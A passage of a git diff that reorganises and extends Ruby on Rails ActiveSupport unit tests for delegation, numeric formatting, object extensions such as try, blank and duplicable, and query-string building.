+ def will_be_orphaned; end
+ end
+
+ const_set :ClassMethods, Module.new {
+ def hacked_on; end
+ }
+
+ # Doesn't overwrite existing ClassMethods module.
+ class_methods do
+ def nicer_dsl; end
+ end
+
+ # Doesn't overwrite previous class_methods definitions.
+ class_methods do
+ def doesnt_clobber; end
+ end
+ end
+ end
+
+ def test_using_class_methods_blocks_instead_of_ClassMethods_module
+ assert !Foo.respond_to?(:will_be_orphaned)
+ assert Foo.respond_to?(:hacked_on)
+ assert Foo.respond_to?(:nicer_dsl)
+ assert Foo.respond_to?(:doesnt_clobber)
+
+ # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
+ assert Foo.const_defined?(:ClassMethods)
+ assert Foo::ClassMethods.method_defined?(:will_be_orphaned)
+ end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index 82249ddd1b..3c49c4d14f 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -12,12 +12,6 @@ class Ab
Constant3 = "Goodbye World"
end
-module Xy
- class Bc
- include One
- end
-end
-
module Yz
module Zy
class Cd
@@ -62,8 +56,31 @@ Developer = Struct.new(:client) do
delegate :name, :to => :client, :prefix => nil
end
+Event = Struct.new(:case) do
+ delegate :foo, :to => :case
+end
+
Tester = Struct.new(:client) do
delegate :name, :to => :client, :prefix => false
+
+ def foo; 1; end
+end
+
+Product = Struct.new(:name) do
+ delegate :name, :to => :manufacturer, :prefix => true
+ delegate :name, :to => :type, :prefix => true
+
+ def manufacturer
+ @manufacturer ||= begin
+ nil.unknown_method
+ end
+ end
+
+ def type
+ @type ||= begin
+ :thing_without_same_method_name_as_delegated.name
+ end
+ end
end
class ParameterSet
@@ -82,6 +99,21 @@ class Name
end
end
+class SideEffect
+ attr_reader :ints
+
+ delegate :to_i, :to => :shift, :allow_nil => true
+ delegate :to_s, :to => :shift
+
+ def initialize
+ @ints = [1, 2, 3]
+ end
+
+ def shift
+ @ints.shift
+ end
+end
+
class ModuleTest < ActiveSupport::TestCase
def setup
@david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
@@ -171,6 +203,17 @@ class ModuleTest < ActiveSupport::TestCase
assert_nil rails.name
end
+ # Ensures with check for nil, not for a falseish target.
+ def test_delegation_with_allow_nil_and_false_value
+ project = Project.new(false, false)
+ assert_raise(NoMethodError) { project.name }
+ end
+
+ def test_delegation_with_allow_nil_and_invalid_value
+ rails = Project.new("Rails", "David")
+ assert_raise(NoMethodError) { rails.name }
+ end
+
def test_delegation_with_allow_nil_and_nil_value_and_prefix
Project.class_eval do
delegate :name, :to => :person, :allow_nil => true, :prefix => true
@@ -181,7 +224,7 @@ class ModuleTest < ActiveSupport::TestCase
def test_delegation_without_allow_nil_and_nil_value
david = Someone.new("David")
- assert_raise(RuntimeError) { david.street }
+ assert_raise(Module::DelegationError) { david.street }
end
def test_delegation_to_method_that_exists_on_nil
@@ -208,6 +251,16 @@ class ModuleTest < ActiveSupport::TestCase
end
end
+ def test_delegation_line_number
+ _, line = Someone.instance_method(:foo).source_location
+ assert_equal Someone::FAILED_DELEGATE_LINE, line
+ end
+
+ def test_delegate_line_with_nil
+ _, line = Someone.instance_method(:bar).source_location
+ assert_equal Someone::FAILED_DELEGATE_LINE_2, line
+ end
+
def test_delegation_exception_backtrace
someone = Someone.new("foo", "bar")
someone.foo
@@ -228,6 +281,26 @@ class ModuleTest < ActiveSupport::TestCase
"[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
end
+ def test_delegation_invokes_the_target_exactly_once
+ se = SideEffect.new
+
+ assert_equal 1, se.to_i
+ assert_equal [2, 3], se.ints
+
+ assert_equal '2', se.to_s
+ assert_equal [3], se.ints
+ end
+
+ def test_delegation_doesnt_mask_nested_no_method_error_on_nil_receiver
+ product = Product.new('Widget')
+
+ # Nested NoMethodError is a different name from the delegation
+ assert_raise(NoMethodError) { product.manufacturer_name }
+
+ # Nested NoMethodError is the same name as the delegation
+ assert_raise(NoMethodError) { product.type_name }
+ end
+
def test_parent
assert_equal Yz::Zy, Yz::Zy::Cd.parent
assert_equal Yz, Yz::Zy.parent
@@ -242,12 +315,6 @@ class ModuleTest < ActiveSupport::TestCase
def test_local_constants
assert_equal %w(Constant1 Constant3), Ab.local_constants.sort.map(&:to_s)
end
-
- def test_local_constant_names
- ActiveSupport::Deprecation.silence do
- assert_equal %w(Constant1 Constant3), Ab.local_constant_names.sort.map(&:to_s)
- end
- end
end
module BarMethodAliaser
@@ -434,4 +501,9 @@ class MethodAliasingTest < ActiveSupport::TestCase
assert_equal 'duck_with_orange', @instance.duck
assert FooClassWithBarMethod.public_method_defined?(:duck)
end
+
+ def test_delegate_with_case
+ event = Event.new(Tester.new)
+ assert_equal 1, event.foo
+ end
end
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 03ce09f22a..7525f80cf0 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -3,18 +3,18 @@ require 'active_support/core_ext/name_error'
class NameErrorTest < ActiveSupport::TestCase
def test_name_error_should_set_missing_name
- SomeNameThatNobodyWillUse____Really ? 1 : 0
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ SomeNameThatNobodyWillUse____Really ? 1 : 0
+ end
assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
end
def test_missing_method_should_ignore_missing_name
- some_method_that_does_not_exist
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ some_method_that_does_not_exist
+ end
assert !exc.missing_name?(:Foo)
assert_nil exc.missing_name
end
diff --git a/activesupport/test/core_ext/numeric_ext_test.rb b/activesupport/test/core_ext/numeric_ext_test.rb
index 435f4aa5a1..b82448458d 100644
--- a/activesupport/test/core_ext/numeric_ext_test.rb
+++ b/activesupport/test/core_ext/numeric_ext_test.rb
@@ -22,23 +22,6 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
end
end
- def test_intervals
- @seconds.values.each do |seconds|
- assert_equal seconds.since(@now), @now + seconds
- assert_equal seconds.until(@now), @now - seconds
- end
- end
-
- # Test intervals based from Time.now
- def test_now
- @seconds.values.each do |seconds|
- now = Time.now
- assert seconds.ago >= now - seconds
- now = Time.now
- assert seconds.from_now >= now + seconds
- end
- end
-
def test_irregular_durations
assert_equal @now.advance(:days => 3000), 3000.days.since(@now)
assert_equal @now.advance(:months => 1), 1.month.since(@now)
@@ -77,55 +60,17 @@ class NumericExtTimeAndDateTimeTest < ActiveSupport::TestCase
assert_equal @dtnow.advance(:days => 1).advance(:months => 2), @dtnow + 1.day + 2.months
end
- def test_duration_after_convertion_is_no_longer_accurate
- assert_equal 30.days.to_i.since(@now), 1.month.to_i.since(@now)
- assert_equal 365.25.days.to_f.since(@now), 1.year.to_f.since(@now)
- assert_equal 30.days.to_i.since(@dtnow), 1.month.to_i.since(@dtnow)
- assert_equal 365.25.days.to_f.since(@dtnow), 1.year.to_f.since(@dtnow)
+ def test_duration_after_conversion_is_no_longer_accurate
+ assert_equal 30.days.to_i.seconds.since(@now), 1.month.to_i.seconds.since(@now)
+ assert_equal 365.25.days.to_f.seconds.since(@now), 1.year.to_f.seconds.since(@now)
+ assert_equal 30.days.to_i.seconds.since(@dtnow), 1.month.to_i.seconds.since(@dtnow)
+ assert_equal 365.25.days.to_f.seconds.since(@dtnow), 1.year.to_f.seconds.since(@dtnow)
end
def test_add_one_year_to_leap_day
assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10) + 1.year
assert_equal DateTime.civil(2005,2,28,15,15,10), DateTime.civil(2004,2,29,15,15,10) + 1.year
end
-
- def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set
- Time.zone = nil
- with_env_tz 'US/Eastern' do
- Time.stubs(:now).returns Time.local(2000)
- # since
- assert_equal false, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(2000,1,1,0,0,5), 5.since
- # ago
- assert_equal false, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.local(1999,12,31,23,59,55), 5.ago
- end
- end
-
- def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set
- Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- with_env_tz 'US/Eastern' do
- Time.stubs(:now).returns Time.local(2000)
- # since
- assert_equal true, 5.since.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(2000,1,1,0,0,5), 5.since.time
- assert_equal 'Eastern Time (US & Canada)', 5.since.time_zone.name
- # ago
- assert_equal true, 5.ago.is_a?(ActiveSupport::TimeWithZone)
- assert_equal Time.utc(1999,12,31,23,59,55), 5.ago.time
- assert_equal 'Eastern Time (US & Canada)', 5.ago.time_zone.name
- end
- ensure
- Time.zone = nil
- end
-
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
end
class NumericExtDateTest < ActiveSupport::TestCase
@@ -153,22 +98,16 @@ end
class NumericExtSizeTest < ActiveSupport::TestCase
def test_unit_in_terms_of_another
- relationships = {
- 1024.bytes => 1.kilobyte,
- 1024.kilobytes => 1.megabyte,
- 3584.0.kilobytes => 3.5.megabytes,
- 3584.0.megabytes => 3.5.gigabytes,
- 1.kilobyte ** 4 => 1.terabyte,
- 1024.kilobytes + 2.megabytes => 3.megabytes,
- 2.gigabytes / 4 => 512.megabytes,
- 256.megabytes * 20 + 5.gigabytes => 10.gigabytes,
- 1.kilobyte ** 5 => 1.petabyte,
- 1.kilobyte ** 6 => 1.exabyte
- }
-
- relationships.each do |left, right|
- assert_equal right, left
- end
+ assert_equal 1024.bytes, 1.kilobyte
+ assert_equal 1024.kilobytes, 1.megabyte
+ assert_equal 3584.0.kilobytes, 3.5.megabytes
+ assert_equal 3584.0.megabytes, 3.5.gigabytes
+ assert_equal 1.kilobyte ** 4, 1.terabyte
+ assert_equal 1024.kilobytes + 2.megabytes, 3.megabytes
+ assert_equal 2.gigabytes / 4, 512.megabytes
+ assert_equal 256.megabytes * 20 + 5.gigabytes, 10.gigabytes
+ assert_equal 1.kilobyte ** 5, 1.petabyte
+ assert_equal 1.kilobyte ** 6, 1.exabyte
end
def test_units_as_bytes_independently
@@ -203,7 +142,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
def terabytes(number)
gigabytes(number) * 1024
end
-
+
def test_to_s__phone
assert_equal("555-1234", 5551234.to_s(:phone))
assert_equal("800-555-1212", 8005551212.to_s(:phone))
@@ -217,7 +156,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal("22-555-1212", 225551212.to_s(:phone))
assert_equal("+45-22-555-1212", 225551212.to_s(:phone, :country_code => 45))
end
-
+
def test_to_s__currency
assert_equal("$1,234,567,890.50", 1234567890.50.to_s(:currency))
assert_equal("$1,234,567,890.51", 1234567890.506.to_s(:currency))
@@ -228,8 +167,8 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal("$1,234,567,890.5", 1234567890.50.to_s(:currency, :precision => 1))
assert_equal("&pound;1234567890,50", 1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => ""))
end
-
-
+
+
def test_to_s__rounded
assert_equal("-111.235", -111.2346.to_s(:rounded))
assert_equal("111.235", 111.2346.to_s(:rounded))
@@ -246,7 +185,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal("11.00", 10.995.to_s(:rounded, :precision => 2))
assert_equal("0.00", -0.001.to_s(:rounded, :precision => 2))
end
-
+
def test_to_s__percentage
assert_equal("100.000%", 100.to_s(:percentage))
assert_equal("100%", 100.to_s(:percentage, :precision => 0))
@@ -274,7 +213,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :separator => ',', :delimiter => '.')
assert_equal '12.345.678,05', 12345678.05.to_s(:delimited, :delimiter => '.', :separator => ',')
end
-
+
def test_to_s__rounded_with_custom_delimiter_and_separator
assert_equal '31,83', 31.825.to_s(:rounded, :precision => 2, :separator => ',')
@@ -350,7 +289,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal '1.23 GB', 1234567890.to_s(:human_size, :prefix => :si)
assert_equal '1.23 TB', 1234567890123.to_s(:human_size, :prefix => :si)
end
-
+
def test_to_s__human_size_with_options_hash
assert_equal '1.2 MB', 1234567.to_s(:human_size, :precision => 2)
assert_equal '3 Bytes', 3.14159265.to_s(:human_size, :precision => 4)
@@ -366,13 +305,13 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal '1.012 KB', kilobytes(1.0123).to_s(:human_size, :precision => 3, :significant => false)
assert_equal '1 KB', kilobytes(1.0123).to_s(:human_size, :precision => 0, :significant => true) #ignores significant it precision is 0
end
-
+
def test_to_s__human_size_with_custom_delimiter_and_separator
assert_equal '1,01 KB', kilobytes(1.0123).to_s(:human_size, :precision => 3, :separator => ',')
assert_equal '1,01 KB', kilobytes(1.0100).to_s(:human_size, :precision => 4, :separator => ',')
assert_equal '1.000,1 TB', terabytes(1000.1).to_s(:human_size, :precision => 5, :delimiter => '.', :separator => ',')
end
-
+
def test_number_to_human
assert_equal '-123', -123.to_s(:human)
assert_equal '-0.5', -0.5.to_s(:human)
@@ -436,7 +375,7 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
def test_to_s__injected_on_proper_types
assert_equal Fixnum, 1230.class
assert_equal '1.23 Thousand', 1230.to_s(:human)
-
+
assert_equal Float, Float(1230).class
assert_equal '1.23 Thousand', Float(1230).to_s(:human)
@@ -446,4 +385,8 @@ class NumericExtFormattingTest < ActiveSupport::TestCase
assert_equal BigDecimal, BigDecimal("1000010").class
assert_equal '1 Million', BigDecimal("1000010").to_s(:human)
end
+
+ def test_in_milliseconds
+ assert_equal 10_000, 10.seconds.in_milliseconds
+ end
end
diff --git a/activesupport/test/core_ext/object/acts_like_test.rb b/activesupport/test/core_ext/object/acts_like_test.rb
new file mode 100644
index 0000000000..e68b1d23cb
--- /dev/null
+++ b/activesupport/test/core_ext/object/acts_like_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectTests < ActiveSupport::TestCase
+ class DuckTime
+ def acts_like_time?
+ true
+ end
+ end
+
+ def test_duck_typing
+ object = Object.new
+ time = Time.now
+ date = Date.today
+ dt = DateTime.new
+ duck = DuckTime.new
+
+ assert !object.acts_like?(:time)
+ assert !object.acts_like?(:date)
+
+ assert time.acts_like?(:time)
+ assert !time.acts_like?(:date)
+
+ assert !date.acts_like?(:time)
+ assert date.acts_like?(:date)
+
+ assert dt.acts_like?(:time)
+ assert dt.acts_like?(:date)
+
+ assert duck.acts_like?(:time)
+ assert !duck.acts_like?(:date)
+ end
+end
diff --git a/activesupport/test/core_ext/object/blank_test.rb b/activesupport/test/core_ext/object/blank_test.rb
new file mode 100644
index 0000000000..246bc7fa61
--- /dev/null
+++ b/activesupport/test/core_ext/object/blank_test.rb
@@ -0,0 +1,36 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'active_support/core_ext/object/blank'
+
+class BlankTest < ActiveSupport::TestCase
+ class EmptyTrue
+ def empty?
+ 0
+ end
+ end
+
+ class EmptyFalse
+ def empty?
+ nil
+ end
+ end
+
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', "\u00a0", [], {} ]
+ NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
+
+ def test_blank
+ BLANK.each { |v| assert_equal true, v.blank?, "#{v.inspect} should be blank" }
+ NOT.each { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
+ end
+
+ def test_present
+ BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+ NOT.each { |v| assert_equal true, v.present?, "#{v.inspect} should be present" }
+ end
+
+ def test_presence
+ BLANK.each { |v| assert_equal nil, v.presence, "#{v.inspect}.presence should return nil" }
+ NOT.each { |v| assert_equal v, v.presence, "#{v.inspect}.presence should return self" }
+ end
+end
diff --git a/activesupport/test/core_ext/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb
index 91d558dbb5..91d558dbb5 100644
--- a/activesupport/test/core_ext/deep_dup_test.rb
+++ b/activesupport/test/core_ext/object/deep_dup_test.rb
diff --git a/activesupport/test/core_ext/object/duplicable_test.rb b/activesupport/test/core_ext/object/duplicable_test.rb
new file mode 100644
index 0000000000..8cc39ae7b9
--- /dev/null
+++ b/activesupport/test/core_ext/object/duplicable_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+require 'bigdecimal'
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/numeric/time'
+
+class DuplicableTest < ActiveSupport::TestCase
+ RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, method(:puts)]
+ ALLOW_DUP = ['1', Object.new, /foo/, [], {}, Time.now, Class.new, Module.new]
+
+ # Needed to support Ruby 1.9.x, as it doesn't allow dup on BigDecimal, instead
+ # raises TypeError exception. Checking here on the runtime whether BigDecimal
+ # will allow dup or not.
+ begin
+ bd = BigDecimal.new('4.56')
+ ALLOW_DUP << bd.dup
+ rescue TypeError
+ RAISE_DUP << bd
+ end
+
+ def test_duplicable
+ RAISE_DUP.each do |v|
+ assert !v.duplicable?
+ assert_raises(TypeError, v.class.name) { v.dup }
+ end
+
+ ALLOW_DUP.each do |v|
+ assert v.duplicable?, "#{ v.class } should be duplicable"
+ assert_nothing_raised { v.dup }
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 22888333f5..32d512eca3 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -2,16 +2,6 @@ require 'abstract_unit'
require 'active_support/core_ext/object/inclusion'
class InTest < ActiveSupport::TestCase
- def test_in_multiple_args
- assert :b.in?(:a,:b)
- assert !:c.in?(:a,:b)
- end
-
- def test_in_multiple_arrays
- assert [1,2].in?([1,2],[2,3])
- assert ![1,2].in?([1,3],[2,1])
- end
-
def test_in_array
assert 1.in?([1,2])
assert !3.in?([1,2])
@@ -47,14 +37,23 @@ class InTest < ActiveSupport::TestCase
end
class C < B
end
+ class D
+ end
def test_in_module
assert A.in?(B)
assert A.in?(C)
assert !A.in?(A)
+ assert !A.in?(D)
end
def test_no_method_catching
assert_raise(ArgumentError) { 1.in?(1) }
end
+
+ def test_presence_in
+ assert_equal "stuff", "stuff".presence_in(%w( lots of stuff ))
+ assert_nil "stuff".presence_in(%w( lots of crap ))
+ assert_raise(ArgumentError) { 1.presence_in(1) }
+ end
end
diff --git a/activesupport/test/core_ext/object/instance_variables_test.rb b/activesupport/test/core_ext/object/instance_variables_test.rb
new file mode 100644
index 0000000000..9f4c5dc4f1
--- /dev/null
+++ b/activesupport/test/core_ext/object/instance_variables_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectInstanceVariableTest < ActiveSupport::TestCase
+ def setup
+ @source, @dest = Object.new, Object.new
+ @source.instance_variable_set(:@bar, 'bar')
+ @source.instance_variable_set(:@baz, 'baz')
+ end
+
+ def test_instance_variable_names
+ assert_equal %w(@bar @baz), @source.instance_variable_names.sort
+ end
+
+ def test_instance_values
+ assert_equal({'bar' => 'bar', 'baz' => 'baz'}, @source.instance_values)
+ end
+
+ def test_instance_exec_passes_arguments_to_block
+ assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
+ end
+
+ def test_instance_exec_with_frozen_obj
+ assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
+ end
+
+ def test_instance_exec_nested
+ assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
+ [arg] + instance_exec('bar') { |v| [reverse, v] } }
+ end
+end
diff --git a/activesupport/test/core_ext/object/itself_test.rb b/activesupport/test/core_ext/object/itself_test.rb
new file mode 100644
index 0000000000..65db0ddf40
--- /dev/null
+++ b/activesupport/test/core_ext/object/itself_test.rb
@@ -0,0 +1,9 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class Object::ItselfTest < ActiveSupport::TestCase
+ test 'itself returns self' do
+ object = 'fun'
+ assert_equal object, object.itself
+ end
+end
diff --git a/activesupport/test/core_ext/object/json_cherry_pick_test.rb b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
new file mode 100644
index 0000000000..2f7ea3a497
--- /dev/null
+++ b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
@@ -0,0 +1,42 @@
+require 'abstract_unit'
+
+# These test cases were added to test that cherry-picking the json extensions
+# works correctly, primarily for dependencies problems reported in #16131. They
+# need to be executed in isolation to reproduce the scenario correctly, because
+# other test cases might have already loaded additional dependencies.
+
+class JsonCherryPickTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def test_time_as_json
+ require_or_skip 'active_support/core_ext/object/json'
+
+ expected = Time.new(2004, 7, 25)
+ actual = Time.parse(expected.as_json)
+
+ assert_equal expected, actual
+ end
+
+ def test_date_as_json
+ require_or_skip 'active_support/core_ext/object/json'
+
+ expected = Date.new(2004, 7, 25)
+ actual = Date.parse(expected.as_json)
+
+ assert_equal expected, actual
+ end
+
+ def test_datetime_as_json
+ require_or_skip 'active_support/core_ext/object/json'
+
+ expected = DateTime.new(2004, 7, 25)
+ actual = DateTime.parse(expected.as_json)
+
+ assert_equal expected, actual
+ end
+
+ private
+ def require_or_skip(file)
+ require(file) || skip("'#{file}' was already loaded")
+ end
+end
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
index bd7c6c422a..30a7557dc2 100644
--- a/activesupport/test/core_ext/object/to_param_test.rb
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -2,6 +2,12 @@ require 'abstract_unit'
require 'active_support/core_ext/object/to_param'
class ToParamTest < ActiveSupport::TestCase
+ class CustomString < String
+ def to_param
+ "custom-#{ self }"
+ end
+ end
+
def test_object
foo = Object.new
def foo.to_s; 'foo' end
@@ -16,4 +22,16 @@ class ToParamTest < ActiveSupport::TestCase
assert_equal true, true.to_param
assert_equal false, false.to_param
end
+
+ def test_array
+ # Empty Array
+ assert_equal '', [].to_param
+
+ array = [1, 2, 3, 4]
+ assert_equal "1/2/3/4", array.to_param
+
+ # Array of different objects
+ array = [1, '3', { a: 1, b: 2 }, nil, true, false, CustomString.new('object')]
+ assert_equal "1/3/a=1&b=2//true/false/custom-object", array.to_param
+ end
end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 8d1a8c628c..09cab3ed35 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -46,8 +46,37 @@ class ToQueryTest < ActiveSupport::TestCase
:person => {:id => [20, 10]}
end
+ def test_empty_array
+ assert_equal "person%5B%5D=", [].to_query('person')
+ end
+
+ def test_nested_empty_hash
+ assert_equal '',
+ {}.to_query
+ assert_query_equal 'a=1&b%5Bc%5D=3',
+ { a: 1, b: { c: 3, d: {} } }
+ assert_query_equal '',
+ { a: {b: {c: {}}} }
+ assert_query_equal 'b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12',
+ { p: 12, b: { c: false, e: nil, f: '' } }
+ assert_query_equal 'b%5Bc%5D=3&b%5Bf%5D=',
+ { b: { c: 3, k: {}, f: '' } }
+ assert_query_equal 'b=3',
+ {a: [], b: 3}
+ end
+
+ def test_hash_with_namespace
+ hash = { name: 'Nakshay', nationality: 'Indian' }
+ assert_equal "user%5Bname%5D=Nakshay&user%5Bnationality%5D=Indian", hash.to_query('user')
+ end
+
+ def test_hash_sorted_lexicographically
+ hash = { type: 'human', name: 'Nakshay' }
+ assert_equal "name=Nakshay&type=human", hash.to_query
+ end
+
private
- def assert_query_equal(expected, actual, message = nil)
+ def assert_query_equal(expected, actual)
assert_equal expected.split('&'), actual.to_query.split('&')
end
end
diff --git a/activesupport/test/core_ext/object/try_test.rb b/activesupport/test/core_ext/object/try_test.rb
new file mode 100644
index 0000000000..89438675c1
--- /dev/null
+++ b/activesupport/test/core_ext/object/try_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object'
+
+class ObjectTryTest < ActiveSupport::TestCase
+ def setup
+ @string = "Hello"
+ end
+
+ def test_nonexisting_method
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_nil @string.try(method)
+ end
+
+ def test_nonexisting_method_with_arguments
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_nil @string.try(method, 'llo', 'y')
+ end
+
+ def test_nonexisting_method_bang
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_raise(NoMethodError) { @string.try!(method) }
+ end
+
+ def test_nonexisting_method_with_arguments_bang
+ method = :undefined_method
+ assert !@string.respond_to?(method)
+ assert_raise(NoMethodError) { @string.try!(method, 'llo', 'y') }
+ end
+
+ def test_valid_method
+ assert_equal 5, @string.try(:size)
+ end
+
+ def test_argument_forwarding
+ assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
+ end
+
+ def test_block_forwarding
+ assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
+ end
+
+ def test_nil_to_type
+ assert_nil nil.try(:to_s)
+ assert_nil nil.try(:to_i)
+ end
+
+ def test_false_try
+ assert_equal 'false', false.try(:to_s)
+ end
+
+ def test_try_only_block
+ assert_equal @string.reverse, @string.try(&:reverse)
+ end
+
+ def test_try_only_block_bang
+ assert_equal @string.reverse, @string.try!(&:reverse)
+ end
+
+ def test_try_only_block_nil
+ ran = false
+ nil.try { ran = true }
+ assert_equal false, ran
+ end
+
+ def test_try_with_instance_eval_block
+ assert_equal @string.reverse, @string.try { reverse }
+ end
+
+ def test_try_with_instance_eval_block_bang
+ assert_equal @string.reverse, @string.try! { reverse }
+ end
+
+ def test_try_with_private_method_bang
+ klass = Class.new do
+ private
+
+ def private_method
+ 'private method'
+ end
+ end
+
+ assert_raise(NoMethodError) { klass.new.try!(:private_method) }
+ end
+
+ def test_try_with_private_method
+ klass = Class.new do
+ private
+
+ def private_method
+ 'private method'
+ end
+ end
+
+ assert_nil klass.new.try(:private_method)
+ end
+end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
deleted file mode 100644
index ec7dd6d4fb..0000000000
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ /dev/null
@@ -1,177 +0,0 @@
-require 'abstract_unit'
-require 'active_support/time'
-require 'active_support/core_ext/object'
-require 'active_support/core_ext/class/subclasses'
-
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
- class << self
- def on_const_missing(&callback)
- @on_const_missing = callback
- end
- private
- def const_missing(mod_id)
- @on_const_missing[mod_id] if @on_const_missing
- super
- end
- end
- class ClassL < ClassK
- end
-end
-
-class ObjectTests < ActiveSupport::TestCase
- class DuckTime
- def acts_like_time?
- true
- end
- end
-
- def test_duck_typing
- object = Object.new
- time = Time.now
- date = Date.today
- dt = DateTime.new
- duck = DuckTime.new
-
- assert !object.acts_like?(:time)
- assert !object.acts_like?(:date)
-
- assert time.acts_like?(:time)
- assert !time.acts_like?(:date)
-
- assert !date.acts_like?(:time)
- assert date.acts_like?(:date)
-
- assert dt.acts_like?(:time)
- assert dt.acts_like?(:date)
-
- assert duck.acts_like?(:time)
- assert !duck.acts_like?(:date)
- end
-end
-
-class ObjectInstanceVariableTest < ActiveSupport::TestCase
- def setup
- @source, @dest = Object.new, Object.new
- @source.instance_variable_set(:@bar, 'bar')
- @source.instance_variable_set(:@baz, 'baz')
- end
-
- def test_instance_variable_names
- assert_equal %w(@bar @baz), @source.instance_variable_names.sort
- end
-
- def test_instance_values
- object = Object.new
- object.instance_variable_set :@a, 1
- object.instance_variable_set :@b, 2
- assert_equal({'a' => 1, 'b' => 2}, object.instance_values)
- end
-
- def test_instance_exec_passes_arguments_to_block
- assert_equal %w(hello goodbye), 'hello'.instance_exec('goodbye') { |v| [self, v] }
- end
-
- def test_instance_exec_with_frozen_obj
- assert_equal %w(olleh goodbye), 'hello'.freeze.instance_exec('goodbye') { |v| [reverse, v] }
- end
-
- def test_instance_exec_nested
- assert_equal %w(goodbye olleh bar), 'hello'.instance_exec('goodbye') { |arg|
- [arg] + instance_exec('bar') { |v| [reverse, v] } }
- end
-end
-
-class ObjectTryTest < ActiveSupport::TestCase
- def setup
- @string = "Hello"
- end
-
- def test_nonexisting_method
- method = :undefined_method
- assert !@string.respond_to?(method)
- assert_nil @string.try(method)
- end
-
- def test_nonexisting_method_with_arguments
- method = :undefined_method
- assert !@string.respond_to?(method)
- assert_nil @string.try(method, 'llo', 'y')
- end
-
- def test_nonexisting_method_bang
- method = :undefined_method
- assert !@string.respond_to?(method)
- assert_raise(NoMethodError) { @string.try!(method) }
- end
-
- def test_nonexisting_method_with_arguments_bang
- method = :undefined_method
- assert !@string.respond_to?(method)
